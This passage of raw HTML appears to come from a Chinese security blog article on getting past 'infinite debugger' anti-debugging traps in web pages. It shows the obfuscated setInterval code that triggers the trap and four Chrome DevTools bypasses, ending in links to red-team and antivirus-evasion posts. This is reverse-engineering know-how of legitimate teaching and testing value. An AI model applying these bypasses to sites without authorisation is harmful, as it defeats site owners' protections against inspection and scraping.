data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">首先我们要做的是找到无限Debugger的源头，上面的案例通过堆栈回溯，查看 debugger 是如何生成的。<img data-imgfileid="100037761" class="rich_pages wxw-img" data-ratio="0.3351851851851852" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a26b343&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5NWI2j8wjdqiakjicSEb7ibBn0S7sx21pViawlobrJbcVA2b2RpxlWBzq4w%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>继续往上进行追溯，发现逻辑代码。<img data-imgfileid="100037762" class="rich_pages wxw-img" data-ratio="0.3101851851851852" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b0302626&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5J94CqHagM3p2vTgVfocYIsdAsbNUcFjknhOSFuAR4MY4lZVibcmOhxw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">setInterval(()=&gt;{</span><span leaf=""><br/></span><span leaf="">      (function(a) {</span><span leaf=""><br/></span><span leaf="">          return (function(a) {</span><span leaf=""><br/></span><span leaf="">              return (Function(&#39;Function(arguments[0]+&#34;&#39; + a + &#39;&#34;)()&#39;))</span><span leaf=""><br/></span><span leaf="">          }</span><span leaf=""><br/></span><span leaf="">          )(a)</span><span leaf=""><br/></span><span leaf="">     }</span><span leaf=""><br/></span><span leaf="">     )(&#39;bugger&#39;)(&#39;de&#39;, 0, 0, (0,</span><span leaf=""><br/></span><span leaf="">     0));</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">, 1000);</span><span leaf=""><br/></span></code></pre><h2 data-tool="mdnice编辑器" style="border-bottom-color: rgb(64, 184, 250);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: 20px 20px;width: 20px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: -25px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5wxFvqSYj3ZNo6qiajT6tvsPwADJiasicFlULwPsDvFbonJAIpKURwxEdw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x05 常见绕过方法：</span></span><span style="background-color: rgba(64, 184, 250, 0.5);align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 20px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: flex;font-size: 22px;font-weight: bold;flex-direction: unset;float: right;height: 10px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: -10px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 200px;-webkit-box-reflect: unset;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">因为debugger其实就是对应的一个断点，它相当于用代码显示的声明了一个断点，要解除它，我们只需要禁用这个断点就可以了。</span></p><h3 data-cacheurl="" data-remoteid="" data-tool="mdnice编辑器" style="margin: 24px 0px 15px;padding: 0px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;background: transparent url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ibCz1nLYxcsmlWHa2CyW0DvWxePDsaAuq3qNvPMKgvDEpCt1OqI8y8Q/640?wx_fmt=png&amp;from=appmsg&#34;) 50% 50% / 30px 30px no-repeat;width: auto;height: auto;align-items: unset;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-bottom: 10px;align-items: unset;background: transparent no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">1.1 禁用断点法</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">此处我们可在开发者工具右侧有一个禁用断点点击它，该按钮就会被激活，变成蓝色。<img data-imgfileid="100037763" class="rich_pages wxw-img" data-ratio="0.5731481481481482" data-type="jpeg" data-w="1080" style="display: block;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e0bb8a42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ZSQKQQpgZSiazwZ361yeiadshwJ1APGziblT3LwSCvFtibgdQtrBIGrVMQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>这时我们再次点击恢复脚本执行按钮，跳过当前断点，页面就不会再进入到无限 debugger 的状态了。<img data-imgfileid="100037770" class="rich_pages wxw-img" data-ratio="0.5666666666666667" data-type="jpeg" data-w="1080" style="display: block;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=faf0879b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5keAQJLqLzGP8egS65icnfek8dUCAOvLX3ueZm3sz6z9TGIsfyBTKhtA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>但这种全局禁用断点的一个弊端是，禁用之后，我们自身添加的断点也无法进行调试了，所有的断点都不会被执行。所以这种方法基本不用。</span></p><h3 data-cacheurl="" data-remoteid="" data-tool="mdnice编辑器" style="margin: 24px 0px 15px;padding: 0px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;background: transparent url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ibCz1nLYxcsmlWHa2CyW0DvWxePDsaAuq3qNvPMKgvDEpCt1OqI8y8Q/640?wx_fmt=png&amp;from=appmsg&#34;) 50% 50% / 30px 30px no-repeat;width: auto;height: auto;align-items: unset;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-bottom: 10px;align-items: unset;background: transparent no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">1.2 此处暂停法</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">将停用断点按钮关掉后，页面再次进入无限Debugger模式，此处我们可以尝试另一种方法来跳过这个无限 debugger。在debugger语句所在行的行号上单击鼠标右键，此时会出现一个快捷菜单。<img data-imgfileid="100037768" class="rich_pages wxw-img" data-ratio="0.30833333333333335" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=aa7b4e6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5jDqiazDib3hsyy8FoYJElZ3ZgbKGPF7LFuAmZvpw6JfMxaQoOWpGI3bQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>我们选择永不再此处暂停这个选项后，再次点击恢复脚本执行按钮，发现页面也没有再进入到无限 debugger 的状态了。<img data-imgfileid="100037769" class="rich_pages wxw-img" data-ratio="0.42592592592592593" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=33291473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5Fib25lP7pZiajFmOGicyp2gghRoTuFaEM1yHB33sWGcNDuHR813zT0EuQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><h3 data-cacheurl="" data-remoteid="" data-tool="mdnice编辑器" style="margin: 24px 0px 15px;padding: 0px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;background: transparent url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ibCz1nLYxcsmlWHa2CyW0DvWxePDsaAuq3qNvPMKgvDEpCt1OqI8y8Q/640?wx_fmt=png&amp;from=appmsg&#34;) 50% 50% / 30px 30px no-repeat;width: auto;height: auto;align-items: unset;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-bottom: 10px;align-items: unset;background: transparent no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">1.3 条件断点法</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">在JS代码 debugger 行数位置，鼠标右键添加条件断点，其中条件设为false<img data-imgfileid="100037767" class="rich_pages wxw-img" data-ratio="0.3925925925925926" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=504fc15b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5XiaoMgV56licrhS7xptyeGZ1jlE0OmD3bByAvSdZviaZibYwJfutv8Dcjw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/><img data-imgfileid="100037766" class="rich_pages wxw-img" data-ratio="0.30462962962962964" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=56a9f68d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ozPFcrFvrBTefehxRRhjcxMriaxTZoicpSicrvTAc1JUyQFNichovUibcew%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>再次点击恢复脚本执行按钮，发现页面正常执行。<img data-imgfileid="100037773" class="rich_pages wxw-img" data-ratio="0.5768518518518518" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c5a21c71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5Ye1U63pzqrHLibz4aNrSXcKZvZpYINU3QOJCaTv3cd7FicStNO4X4IsA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><h3 data-cacheurl="" data-remoteid="" data-tool="mdnice编辑器" style="margin: 24px 0px 15px;padding: 0px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;background: transparent url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ibCz1nLYxcsmlWHa2CyW0DvWxePDsaAuq3qNvPMKgvDEpCt1OqI8y8Q/640?wx_fmt=png&amp;from=appmsg&#34;) 50% 50% / 30px 30px no-repeat;width: auto;height: auto;align-items: unset;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-bottom: 10px;align-items: unset;background: transparent no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">1.4 本地覆盖法</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf="">另外我们可以通过源代码-工作区功能，将远程的Javascript文件替换成本地的JavaScript文件，此处绕过方法直接将其中的 debugger 这个关键字删除即可。 此处我们点击存在无限debugger断点的js代码文件，右键选择替代内容</span></p><p data-tool="mdnice编辑器" style="color: rgb(43, 43, 43);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;overflow-wrap: break-word;word-break: normal;"><span leaf=""><img data-imgfileid="100037772" class="rich_pages wxw-img" data-ratio="0.46944444444444444" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c0990d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5iaJrTVYZIFYD7ULY78Tt5cHdCpeOoDR8HZwTpXcLH6NQJAgGy4foxkA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>添加一个用于存放代码的文件夹后，根据上方的提示选择允许。<img data-imgfileid="100037774" class="rich_pages wxw-img" data-ratio="0.7787037037037037" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b9b7db5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd54tH1jFKeFocrmtqnM5cheyDEaRnPeVTHf8qia7R1znqibuDIq7PwaIBg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>此后，我们直接将存在debugger的语句注释掉，然后保存。<img data-imgfileid="100037771" class="rich_pages wxw-img" data-ratio="0.41759259259259257" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=de44ce41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5rfyHfMzMvYko1dcprMUiaYvR8eg99LkgN6YDmoteBpOROP8IwBzvylQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/>再次刷新，发现debugger断点也已经跳出。<img data-imgfileid="100037775" class="rich_pages wxw-img" data-ratio="0.6722222222222223" data-type="jpeg" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=288d7fb6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ickxaNYzmoZQrDjdrDSPdG80ibYibjMTckcOoyvyNMAeAh209bTniaPQLw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;chksm=ce5da3ccf92a2adab0511bd798570d967cd4b0b7d7528f2f17163f5ed77e4dd7a02ac17c39d7&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化‍工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" 